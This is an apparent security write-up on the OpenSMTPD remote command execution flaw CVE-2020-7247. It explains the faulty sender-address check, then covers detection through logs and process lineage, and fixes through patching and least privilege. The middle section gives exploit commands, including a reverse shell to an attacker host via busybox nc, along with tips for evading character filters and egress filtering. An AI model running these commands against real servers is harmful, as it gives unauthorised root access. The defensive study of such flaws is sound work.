OpenSMTPD RCE (CVE-2020-7247)

CVE-2020-7247 is a remote command execution in OpenSMTPD, OpenBSD's mail server (also ported to Linux). It affects versions from 6.6 up to before 6.6.2 (found by Qualys in January 2020) and, depending on the configuration, is exploitable without authentication from the network.

The root of the bug is in smtp_mailaddr(), the routine that validates the sender address (MAIL FROM). A faulty check lets a malformed local part through, which is then interpolated into the local delivery command and run via /bin/sh -c. It is essentially a command injection: whatever we put in the address runs as a system command.

searchsploit -m linux/remote/47984.py
python3 47984.py <ip> 25 'busybox nc <lhost> <port> -e sh'

Why it gives root directly. The process that performs local delivery runs as root, so the injected command inherits UID 0. There is no later escalation: the first shell is already root.

Practical exploitation details:

• The payload must survive the protocol. The SMTP address does not allow certain characters; a bash reverse shell with >& is rejected by the server (503 ... Unsupported option &). Use a payload without those metacharacters: busybox nc ... -e sh or a Python one-liner with escaped quotes.
• The callback needs an allowed port. If the box filters egress, the reverse shell must go out through a port it already has open (80, 443) rather than an arbitrary one.

How to detect it. The signature lives in the OpenSMTPD log: a MAIL FROM: whose local part is malformed and contains shell metacharacters or a pipe (;, |, busybox, nc), something no legitimate sender produces. The server may also log 503 ... Unsupported option rejections when the attacker probes disallowed characters. On the host, the definitive pattern is process lineage: the smtpd local delivery process (as root) spawning sh -c/nc as a child, followed by an outbound connection right after a mail transaction. That mail -> shell sequence is the chain.

Defence. Update OpenSMTPD to 6.6.2 or later. As a general mitigation, run the MTA with least privilege and delegate local delivery to an unprivileged user, so a flaw like this does not translate into root execution. Related to command injection and SMTP user enumeration.